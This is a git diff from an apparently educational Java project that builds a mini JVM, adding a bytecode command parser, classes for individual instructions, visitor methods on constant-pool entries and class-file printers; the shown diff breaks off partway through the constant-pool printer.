+		codeMap.put("A2", "if_icmp_ge");
+		codeMap.put("A4", "if_icmple");
+		
+		codeMap.put("A7", "goto");
+		
+		codeMap.put("B1", "return");
+		codeMap.put("AC", "ireturn");
+		codeMap.put("AE", "freturn");
+		
+		codeMap.put("03", "iconst_0");
+		codeMap.put("04", "iconst_1");
+		
+		codeMap.put("3C", "istore_1");
+		codeMap.put("3D", "istore_2");
+		
+		codeMap.put("59", "dup");
+		
+		codeMap.put("60", "iadd");
+		codeMap.put("84", "iinc");
+		
+		codeMap.put("12", "ldc");
+	}
+	
+	
+
+	
+
+	protected ByteCodeCommand(ClassFile clzFile, String opCode){
+		this.clzFile = clzFile;
+		this.opCode = opCode;
+	}
+	
+	protected ClassFile getClassFile() {
+		return clzFile;
+	}
+	
+	public int getOffset() {
+		return offset;
+	}
+
+	public void setOffset(int offset) {
+		this.offset = offset;
+	}
+	protected ConstantInfo getConstantInfo(int index){
+		return this.getClassFile().getConstantPool().getConstantInfo(index);
+	}
+	
+	protected ConstantPool getConstantPool(){
+		return this.getClassFile().getConstantPool();
+	}
+	
+	
+	
+	public String getOpCode() {
+		return opCode;
+	}
+
+	public abstract int getLength();
+	
+	
+	
+	
+	public String toString(){
+		
+		StringBuffer buffer = new StringBuffer();
+		buffer.append(this.opCode);
+		
+		return buffer.toString();
+	}
+	public abstract String toString(ConstantPool pool);
+	
+	public String getReadableCodeText(){
+		String txt = codeMap.get(opCode);
+		if(txt == null){
+			return opCode;
+		}
+		return txt;
+	}
+	
+	//public abstract void execute(StackFrame frame,FrameResult result);
+}
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/CommandParser.java b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/CommandParser.java
new file mode 100644
index 0000000000..d9c3c619e2
--- /dev/null
+++ b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/CommandParser.java
@@ -0,0 +1,143 @@
+package com.github.ipk2015.coding2017.minijvm.cmd;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.github.ipk2015.coding2017.minijvm.clz.ClassFile;
+
+public class CommandParser {
+	
+	public static final String aconst_null = "01";
+	public static final String new_object = "BB";
+	public static final String lstore = "37";
+	public static final String invokespecial = "B7";
+	public static final String invokevirtual = "B6";
+	public static final String getfield = "B4";
+	public static final String putfield = "B5";
+	public static final String getstatic = "B2";
+	public static final String ldc = "12";
+	public static final String dup = "59";
+	public static final String bipush = "10";
+	public static final String aload_0 = "2A";
+	public static final String aload_1 = "2B";
+	public static final String aload_2 = "2C";
+	public static final String iload = "15";
+	public static final String iload_1 = "1B";
+	public static final String iload_2 = "1C";
+	public static final String iload_3 = "1D";
+	public static final String fload_3 = "25";
+
+	public static final String voidreturn = "B1";
+	public static final String ireturn = "AC";
+	public static final String freturn = "AE";
+
+	public static final String astore_1 = "4C";
+	public static final String if_icmp_ge = "A2";
+	public static final String if_icmple = "A4";
+	public static final String goto_no_condition = "A7";
+	public static final String iconst_0 = "03";
+	public static final String iconst_1 = "04";
+	public static final String istore_1 = "3C";
+	public static final String istore_2 = "3D";
+	public static final String iadd = "60";
+	public static final String iinc = "84";
+
+	public static ByteCodeCommand[] parse(ClassFile clzFile, String codes) {
+		if(null == codes || codes.length() == 0){
+			throw new RuntimeException("字节码不存在");
+		}
+		codes = codes.toUpperCase();
+		CommandIterator iterator = new CommandIterator(codes);
+		List<ByteCodeCommand> commands = new ArrayList<ByteCodeCommand>();
+		while(iterator.hasNext()){
+			String operatorCode = iterator.next2CharAsString(); 
+			if(ldc.equals(operatorCode)){
+				LdcCmd cmd = new LdcCmd(clzFile,operatorCode);
+				cmd.setOperand(iterator.next2CharAsInt());
+				commands.add(cmd);
+			}else if(bipush.equals(operatorCode)){
+				BiPushCmd cmd = new BiPushCmd(clzFile,operatorCode);
+				cmd.setOperand(iterator.next2CharAsInt());
+				commands.add(cmd);
+			}else if(new_object.equals(operatorCode)){
+				NewObjectCmd cmd = new NewObjectCmd(clzFile,operatorCode);
+				cmd.setOprand1(iterator.next2CharAsInt());
+				cmd.setOprand2(iterator.next2CharAsInt());
+				commands.add(cmd);
+			}else if(invokespecial.equals(operatorCode)){
+				InvokeSpecialCmd cmd = new InvokeSpecialCmd(clzFile,operatorCode);
+				cmd.setOprand1(iterator.next2CharAsInt());
+				cmd.setOprand2(iterator.next2CharAsInt());
+				commands.add(cmd);
+			}else if(invokevirtual.equals(operatorCode)){
+				InvokeVirtualCmd cmd = new InvokeVirtualCmd(clzFile,operatorCode);
+				cmd.setOprand1(iterator.next2CharAsInt());
+				cmd.setOprand2(iterator.next2CharAsInt());
+				commands.add(cmd);
+			}else if(putfield.equals(operatorCode)){
+				PutFieldCmd cmd = new PutFieldCmd(clzFile,operatorCode);
+				cmd.setOprand1(iterator.next2CharAsInt());
+				cmd.setOprand2(iterator.next2CharAsInt());
+				commands.add(cmd);
+			}else if(getfield.equals(operatorCode)){
+				GetFieldCmd cmd = new GetFieldCmd(clzFile,operatorCode);
+				cmd.setOprand1(iterator.next2CharAsInt());
+				cmd.setOprand2(iterator.next2CharAsInt());
+				commands.add(cmd);
+			}else if(getstatic.equals(operatorCode)){
+				GetStaticFieldCmd cmd = new GetStaticFieldCmd(clzFile,operatorCode);
+				cmd.setOprand1(iterator.next2CharAsInt());
+				cmd.setOprand2(iterator.next2CharAsInt());
+				commands.add(cmd);
+			}else if(dup.equals(operatorCode) || aload_0.equals(operatorCode) || aload_1.equals(operatorCode) || 
+					aload_2.equals(operatorCode) || astore_1.equals(operatorCode) || voidreturn.equals(operatorCode)
+					|| iload.equals(operatorCode) || iload_1.equals(operatorCode) || iload_2.equals(operatorCode)
+					|| iload_3.equals(operatorCode) || fload_3.equals(operatorCode) || iconst_0.equals(operatorCode)
+					|| iconst_1.equals(operatorCode) || istore_1.equals(operatorCode) || istore_2.equals(operatorCode)
+					|| iadd.equals(operatorCode)|| iinc.equals(operatorCode)){
+				NoOperandCmd command = new NoOperandCmd(clzFile,operatorCode);
+				commands.add(command);
+			}else{
+				throw new RuntimeException("this operator code not includes yet:"+operatorCode);
+			}
+		}
+		calcuateOffset(commands);
+		ByteCodeCommand[] result = new ByteCodeCommand[commands.size()];
+		return commands.toArray(result);
+	}
+
+	private static void calcuateOffset(List<ByteCodeCommand> cmds) {
+
+		int offset = 0;
+		for (ByteCodeCommand cmd : cmds) {
+			cmd.setOffset(offset);
+			offset += cmd.getLength();
+		}
+
+	}
+
+	private static class CommandIterator {
+		String codes = null;
+		int pos = 0;
+
+		CommandIterator(String codes) {
+			this.codes = codes;
+		}
+
+		public boolean hasNext() {
+			return pos < this.codes.length();
+		}
+
+		public String next2CharAsString() {
+			String result = codes.substring(pos, pos + 2);
+			pos += 2;
+			return result;
+		}
+
+		public int next2CharAsInt() {
+			String s = this.next2CharAsString();
+			return Integer.valueOf(s, 16).intValue();
+		}
+
+	}
+}
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/GetFieldCmd.java b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/GetFieldCmd.java
new file mode 100644
index 0000000000..ad694d7eec
--- /dev/null
+++ b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/GetFieldCmd.java
@@ -0,0 +1,21 @@
+package com.github.ipk2015.coding2017.minijvm.cmd;
+
+import com.github.ipk2015.coding2017.minijvm.clz.ClassFile;
+import com.github.ipk2015.coding2017.minijvm.constant.ConstantPool;
+
+public class GetFieldCmd extends TwoOperandCmd {
+
+	public GetFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+	
+	
+
+}
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/GetStaticFieldCmd.java b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/GetStaticFieldCmd.java
new file mode 100644
index 0000000000..87bfca3c7f
--- /dev/null
+++ b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/GetStaticFieldCmd.java
@@ -0,0 +1,19 @@
+package com.github.ipk2015.coding2017.minijvm.cmd;
+
+import com.github.ipk2015.coding2017.minijvm.clz.ClassFile;
+import com.github.ipk2015.coding2017.minijvm.constant.ConstantPool;
+
+public class GetStaticFieldCmd extends TwoOperandCmd {
+
+	public GetStaticFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+}
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/InvokeSpecialCmd.java b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/InvokeSpecialCmd.java
new file mode 100644
index 0000000000..e573129d76
--- /dev/null
+++ b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/InvokeSpecialCmd.java
@@ -0,0 +1,21 @@
+package com.github.ipk2015.coding2017.minijvm.cmd;
+
+import com.github.ipk2015.coding2017.minijvm.clz.ClassFile;
+import com.github.ipk2015.coding2017.minijvm.constant.ConstantPool;
+
+public class InvokeSpecialCmd extends TwoOperandCmd {
+
+	public InvokeSpecialCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsMethod(pool);
+	}
+
+	
+
+}
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/InvokeVirtualCmd.java b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/InvokeVirtualCmd.java
new file mode 100644
index 0000000000..989c3f6fae
--- /dev/null
+++ b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/InvokeVirtualCmd.java
@@ -0,0 +1,21 @@
+package com.github.ipk2015.coding2017.minijvm.cmd;
+
+import com.github.ipk2015.coding2017.minijvm.clz.ClassFile;
+import com.github.ipk2015.coding2017.minijvm.constant.ConstantPool;
+
+public class InvokeVirtualCmd extends TwoOperandCmd {
+
+	public InvokeVirtualCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsMethod(pool);
+	}
+
+	
+	
+
+}
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/LdcCmd.java b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/LdcCmd.java
new file mode 100644
index 0000000000..bc72a9f300
--- /dev/null
+++ b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/LdcCmd.java
@@ -0,0 +1,29 @@
+package com.github.ipk2015.coding2017.minijvm.cmd;
+
+import com.github.ipk2015.coding2017.minijvm.clz.ClassFile;
+import com.github.ipk2015.coding2017.minijvm.constant.ConstantInfo;
+import com.github.ipk2015.coding2017.minijvm.constant.ConstantPool;
+import com.github.ipk2015.coding2017.minijvm.constant.StringInfo;
+
+public class LdcCmd extends OneOperandCmd {
+
+	public LdcCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+	
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		ConstantInfo info = (ConstantInfo)pool.getConstantInfo(this.getOperand());
+		
+		String value = "TBD";
+		if(info instanceof StringInfo){
+			StringInfo strInfo = (StringInfo)info;
+			value = strInfo.toString();
+		}
+		
+		return this.getOffset()+":"+this.getOpCode()+" " + this.getReadableCodeText() + " "+  value;
+		
+	}
+	
+}
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/NewObjectCmd.java b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/NewObjectCmd.java
new file mode 100644
index 0000000000..973061d110
--- /dev/null
+++ b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/NewObjectCmd.java
@@ -0,0 +1,19 @@
+package com.github.ipk2015.coding2017.minijvm.cmd;
+
+import com.github.ipk2015.coding2017.minijvm.clz.ClassFile;
+import com.github.ipk2015.coding2017.minijvm.constant.ConstantPool;
+
+public class NewObjectCmd extends TwoOperandCmd{
+	
+	public NewObjectCmd(ClassFile clzFile, String opCode){
+		super(clzFile,opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsClassInfo(pool);
+	}
+
+	
+}
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/NoOperandCmd.java b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/NoOperandCmd.java
new file mode 100644
index 0000000000..62c51c2b3a
--- /dev/null
+++ b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/NoOperandCmd.java
@@ -0,0 +1,23 @@
+package com.github.ipk2015.coding2017.minijvm.cmd;
+
+import com.github.ipk2015.coding2017.minijvm.clz.ClassFile;
+import com.github.ipk2015.coding2017.minijvm.constant.ConstantPool;
+
+public class NoOperandCmd extends ByteCodeCommand{
+
+	public NoOperandCmd(ClassFile clzFile, String opCode) {
+		super(clzFile, opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		return this.getOffset()+":" +this.getOpCode() + " "+ this.getReadableCodeText();
+	}
+
+	
+	
+	public  int getLength(){
+		return 1;
+	}
+
+}
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/OneOperandCmd.java b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/OneOperandCmd.java
new file mode 100644
index 0000000000..ca6052b34c
--- /dev/null
+++ b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/OneOperandCmd.java
@@ -0,0 +1,29 @@
+package com.github.ipk2015.coding2017.minijvm.cmd;
+
+
+
+import com.github.ipk2015.coding2017.minijvm.clz.ClassFile;
+
+public abstract class OneOperandCmd extends ByteCodeCommand {
+
+	private int operand;
+	
+	public OneOperandCmd(ClassFile clzFile,String opCode) {
+		super(clzFile, opCode);
+		
+	}
+	public  int getOperand() {
+		
+		return this.operand;
+	}
+
+	public void setOperand(int oprand1) {
+		this.operand = oprand1;
+		
+	}
+	public  int getLength(){
+		return 2;
+	}
+
+	
+}
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/PutFieldCmd.java b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/PutFieldCmd.java
new file mode 100644
index 0000000000..e73ff203d5
--- /dev/null
+++ b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/PutFieldCmd.java
@@ -0,0 +1,19 @@
+package com.github.ipk2015.coding2017.minijvm.cmd;
+
+import com.github.ipk2015.coding2017.minijvm.clz.ClassFile;
+import com.github.ipk2015.coding2017.minijvm.constant.ConstantPool;
+
+public class PutFieldCmd extends TwoOperandCmd {
+
+	public PutFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+
+}
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/TwoOperandCmd.java b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/TwoOperandCmd.java
new file mode 100644
index 0000000000..99c6b99455
--- /dev/null
+++ b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/cmd/TwoOperandCmd.java
@@ -0,0 +1,67 @@
+package com.github.ipk2015.coding2017.minijvm.cmd;
+
+import com.github.ipk2015.coding2017.minijvm.clz.ClassFile;
+import com.github.ipk2015.coding2017.minijvm.constant.ClassInfo;
+import com.github.ipk2015.coding2017.minijvm.constant.ConstantInfo;
+import com.github.ipk2015.coding2017.minijvm.constant.ConstantPool;
+import com.github.ipk2015.coding2017.minijvm.constant.FieldRefInfo;
+import com.github.ipk2015.coding2017.minijvm.constant.MethodRefInfo;
+
+public abstract class TwoOperandCmd extends ByteCodeCommand{
+	
+	int oprand1 = -1;
+	int oprand2 = -1;
+	
+	public int getOprand1() {
+		return oprand1;
+	}
+
+	public void setOprand1(int oprand1) {
+		this.oprand1 = oprand1;
+	}
+
+	public void setOprand2(int oprand2) {
+		this.oprand2 = oprand2;
+	}
+
+	public int getOprand2() {
+		return oprand2;
+	}
+	
+	public TwoOperandCmd(ClassFile clzFile,String opCode) {
+		super(clzFile, opCode);
+	}
+
+	public int getIndex(){
+		int oprand1 = this.getOprand1();
+		int oprand2 = this.getOprand2();
+		int index = oprand1 << 8 | oprand2;
+		return index;
+	}
+	
+	protected String getOperandAsClassInfo(ConstantPool pool){
+		int index = getIndex();
+		String codeTxt = getReadableCodeText();
+		ClassInfo info = (ClassInfo)pool.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" "+ codeTxt +"  "+ info.getClassName();
+	}
+	
+	protected String getOperandAsMethod(ConstantPool pool){
+		int index = getIndex();
+		String codeTxt = getReadableCodeText();
+		ConstantInfo constInfo = this.getConstantInfo(index);
+		MethodRefInfo info = (MethodRefInfo)this.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
+	}
+
+	protected String getOperandAsField(ConstantPool pool){
+		int index = getIndex();
+		
+		String codeTxt = getReadableCodeText();
+		FieldRefInfo info = (FieldRefInfo)this.getConstantInfo(index);
+		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
+	}
+	public  int getLength(){
+		return 3;
+	}
+}
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/constant/ClassInfo.java b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/constant/ClassInfo.java
index e2e0f50f61..d8cba51f62 100644
--- a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/constant/ClassInfo.java
+++ b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/constant/ClassInfo.java
@@ -23,4 +23,8 @@ public String getClassName() {
 		UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
 		return utf8Info.getValue();		
 	}
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitClassInfo(this);
+	}
 }
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/constant/ConstantInfo.java b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/constant/ConstantInfo.java
index 663c493b57..9275387556 100644
--- a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/constant/ConstantInfo.java
+++ b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/constant/ConstantInfo.java
@@ -25,5 +25,16 @@ public ConstantPool getConstantPool() {
 	public ConstantInfo getConstantInfo(int index){
 		return this.constantPool.getConstantInfo(index);
 	}
+	public abstract void accept(Visitor visitor);
+	
+	public static interface Visitor{
+		public void visitClassInfo(ClassInfo info);
+		public void visitFieldRef(FieldRefInfo info);
+		public void visitMethodRef(MethodRefInfo info);
+		public void visitNameAndType(NameAndTypeInfo info);
+		public void visitString(StringInfo info);
+		public void visistUTF8(UTF8Info info);
+		
+	}
 	
 }
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/constant/ConstantPool.java b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/constant/ConstantPool.java
index ea0e135a23..d28601f4ba 100644
--- a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/constant/ConstantPool.java
+++ b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/constant/ConstantPool.java
@@ -23,7 +23,7 @@ public ConstantInfo getConstantInfo(int index){
 	public String getUTF8String(int index){
 		return ((UTF8Info)this.constantInfos.get(index)).getValue();
 	}
-	public Object getSize() {		
+	public int getSize() {		
 		return this.constantInfos.size() -1;
 	}
 }
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/constant/FieldRefInfo.java b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/constant/FieldRefInfo.java
index b74fb427ba..521c010f7b 100644
--- a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/constant/FieldRefInfo.java
+++ b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/constant/FieldRefInfo.java
@@ -51,4 +51,9 @@ public String getFieldType(){
 		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
 		return typeInfo.getTypeInfo();	
 	}
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitFieldRef(this);
+		
+	}
 }
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/constant/MethodRefInfo.java b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/constant/MethodRefInfo.java
index cc5352db6e..287c907259 100644
--- a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/constant/MethodRefInfo.java
+++ b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/constant/MethodRefInfo.java
@@ -49,6 +49,11 @@ public String getParamAndReturnType(){
 		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
 		return typeInfo.getTypeInfo();
 	}
+
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitMethodRef(this);
+	}
 	
 	
 	
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/constant/NameAndTypeInfo.java b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/constant/NameAndTypeInfo.java
index d1cd005111..990c0f6a01 100644
--- a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/constant/NameAndTypeInfo.java
+++ b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/constant/NameAndTypeInfo.java
@@ -42,4 +42,9 @@ public String getTypeInfo(){
 	public String toString(){
 		return "(" + getName() + "," + getTypeInfo()+")";
 	}
+
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitNameAndType(this);
+	}
 }
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/constant/NullConstantInfo.java b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/constant/NullConstantInfo.java
index 38eef91f32..06c20e5b4f 100644
--- a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/constant/NullConstantInfo.java
+++ b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/constant/NullConstantInfo.java
@@ -9,5 +9,9 @@ public NullConstantInfo(){
 	public int getType() {		
 		return -1;
 	}
+	@Override
+	public void accept(Visitor visitor) {
+		
+	}
 	
 }
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/constant/StringInfo.java b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/constant/StringInfo.java
index 8f23231e72..00b9b9b706 100644
--- a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/constant/StringInfo.java
+++ b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/constant/StringInfo.java
@@ -22,5 +22,11 @@ public void setIndex(int index) {
 	public String toString(){
 		return this.getConstantPool().getUTF8String(index);
 	}
+
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitString(this);
+		
+	}
 	
 }
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/constant/UTF8Info.java b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/constant/UTF8Info.java
index d94a267bbc..c0a7b4e0c5 100644
--- a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/constant/UTF8Info.java
+++ b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/constant/UTF8Info.java
@@ -26,6 +26,10 @@ public String getValue() {
 	public void setValue(String value) {
 		this.value = value;
 	}
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visistUTF8(this);
+	}
 	
 	
 
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/method/Method.java b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/method/Method.java
index 3298a36d6b..b8a3d7dca2 100644
--- a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/method/Method.java
+++ b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/method/Method.java
@@ -3,6 +3,9 @@
 import com.github.ipk2015.coding2017.minijvm.attr.AttributeInfo;
 import com.github.ipk2015.coding2017.minijvm.attr.CodeAttr;
 import com.github.ipk2015.coding2017.minijvm.clz.ClassFile;
+import com.github.ipk2015.coding2017.minijvm.cmd.ByteCodeCommand;
+import com.github.ipk2015.coding2017.minijvm.constant.ConstantPool;
+import com.github.ipk2015.coding2017.minijvm.constant.UTF8Info;
 import com.github.ipk2015.coding2017.minijvm.loader.ByteCodeIterator;
 
 public class Method {
@@ -67,4 +70,18 @@ private static void addAttr(ClassFile clzFile,Method method,ByteCodeIterator ite
 			throw new RuntimeException("方法的此属性不存在："+attrName);
 		}
 	}
+	public ByteCodeCommand[] getCmds() {		
+		return this.getCodeAttr().getCmds();
+	}
+	
+	public String toString() {
+			
+			ConstantPool pool = this.clzFile.getConstantPool();
+			StringBuilder buffer = new StringBuilder();
+			String name = ((UTF8Info)pool.getConstantInfo(this.nameIndex)).getValue();
+			String desc = ((UTF8Info)pool.getConstantInfo(this.descriptorIndex)).getValue();
+			buffer.append(name).append(":").append(desc).append("\n");
+			buffer.append(this.codeAttr.toString(pool));
+			return buffer.toString();
+		}
 }
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/print/ClassFilePrinter.java b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/print/ClassFilePrinter.java
new file mode 100644
index 0000000000..2d7967cb41
--- /dev/null
+++ b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/print/ClassFilePrinter.java
@@ -0,0 +1,47 @@
+package com.github.ipk2015.coding2017.minijvm.print;
+
+import com.github.ipk2015.coding2017.minijvm.clz.ClassFile;
+import com.github.ipk2015.coding2017.minijvm.loader.ClassFileLoader;
+
+public class ClassFilePrinter {
+	ClassFile clzFile = null;
+	public ClassFilePrinter(ClassFile clzFile){
+		this.clzFile = clzFile;
+	}
+	
+	public void print(){
+		
+		if(clzFile.getAccessFlag().isPublicClass()){
+			System.out.println("Access flag : public  ");
+		}
+		System.out.println("Class Name:"+ clzFile.getClassName());
+		
+		System.out.println("Super Class Name:"+ clzFile.getSuperClassName());
+		
+		System.out.println("minor version:" + clzFile.getMinorVersion());
+		
+		System.out.println("major version:" + clzFile.getMajorVersion());
+		
+		ConstantPoolPrinter cnstPoolPrinter = new ConstantPoolPrinter(clzFile.getConstantPool());
+		cnstPoolPrinter.print();
+		
+		
+		
+		
+	}
+	
+	public static void main(String[] args){
+//		String path = "C:\\Users\\liuxin\\git\\coding2017\\liuxin\\mini-jvm\\bin";
+		String path = "E:\\javaImprove\\git\\group24\\121111914\\src\\com\\github\\ipk2015\\coding2017\\minijvm\\bin";
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path);
+//		String className = "com.coderising.jvm.test.EmployeeV1";
+		String className = "EmployeeV1";
+		
+		ClassFile clzFile = loader.loadClass(className);
+		
+		ClassFilePrinter printer  = new ClassFilePrinter(clzFile);
+		
+		printer.print();
+	}
+}
diff --git a/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/print/ConstantPoolPrinter.java b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/print/ConstantPoolPrinter.java
new file mode 100644
index 0000000000..17b88d9932
--- /dev/null
+++ b/group24/121111914/src/com/github/ipk2015/coding2017/minijvm/print/ConstantPoolPrinter.java
@@ -0,0 +1,88 @@
+package com.github.ipk2015.coding2017.minijvm.print;
+
+import com.github.ipk2015.coding2017.minijvm.constant.ClassInfo;
+import com.github.ipk2015.coding2017.minijvm.constant.ConstantInfo;
+import com.github.ipk2015.coding2017.minijvm.constant.ConstantPool;
+import com.github.ipk2015.coding2017.minijvm.constant.FieldRefInfo;
+import com.github.ipk2015.coding2017.minijvm.constant.MethodRefInfo;
+import com.github.ipk2015.coding2017.minijvm.constant.NameAndTypeInfo;
+import com.github.ipk2015.coding2017.minijvm.constant.StringInfo;
+import com.github.ipk2015.coding2017.minijvm.constant.UTF8Info;
+
+public class ConstantPoolPrinter {
+	ConstantPool pool;
+	ConstantPoolPrinter(ConstantPool pool){
+		this.pool = pool;
+	}
+	public void print(){
+		
+		System.out.println("Constant Pool:");
+		
+		ConstantInfo.Visitor visitor = new ConstantInfo.Visitor(){
+
+			@Override
+			public void visitClassInfo(ClassInfo info) {
+				int utf8Index = info.getUtf8Index();
+				String className = info.getClassName();
+				sop("Class\t\t"+"#"+utf8Index+"\t\t// "+className);
+			}
+
+			@Override
+			public void visitFieldRef(FieldRefInfo info) {
+				int classInfoIndex = info.getClassInfoIndex();
+				int nameAndTypeIndex = info.getNameAndTypeIndex();
+				String className = info.getClassName();
+				String fieldName = info.getFieldName();
+				String fieldType = info.getFieldType();
+				sop("Fieldref\t\t"+"#"+classInfoIndex+".#"+nameAndTypeIndex+"\t\t// "
+				+className+"."+fieldName+":"+fieldType);
+			}
+
+			@Override
+			public void visitMethodRef(MethodRefInfo info) {
+				int classInfoIndex = info.getClassInfoIndex();
+				int nameAndTypeIndex = info.getNameAndTypeIndex();
+				String className = info.getClassName();
+				String methodName = info.getMethodName();
+				String paramAndReturnType = info.getParamAndReturnType();
+				sop("Methodref\t\t"+"#"+classInfoIndex+".#"+nameAndTypeIndex+"\t\t// "
+				+className+"."+methodName+":"+paramAndReturnType);
+				
+			}
+
+			@Override
+			public void visitNameAndType(NameAndTypeInfo info) {
+				int index1 = info.getIndex1();
+				int index2 = info.getIndex2();
+				String name = info.getName();
+				String typeInfo = info.getTypeInfo();
+				sop("NameAndType\t"+"#"+index1+".#"+index2+"\t\t// "+name+":"+typeInfo);
+			}
+
+			@Override
+			public void visitString(StringInfo info) {
+				int index = info.getIndex();
+				String utf8String = info.getConstantPool().getUTF8String(index);
+				sop("String\t\t"+"#"+index+"\t\t// "+utf8String);
+			}
+
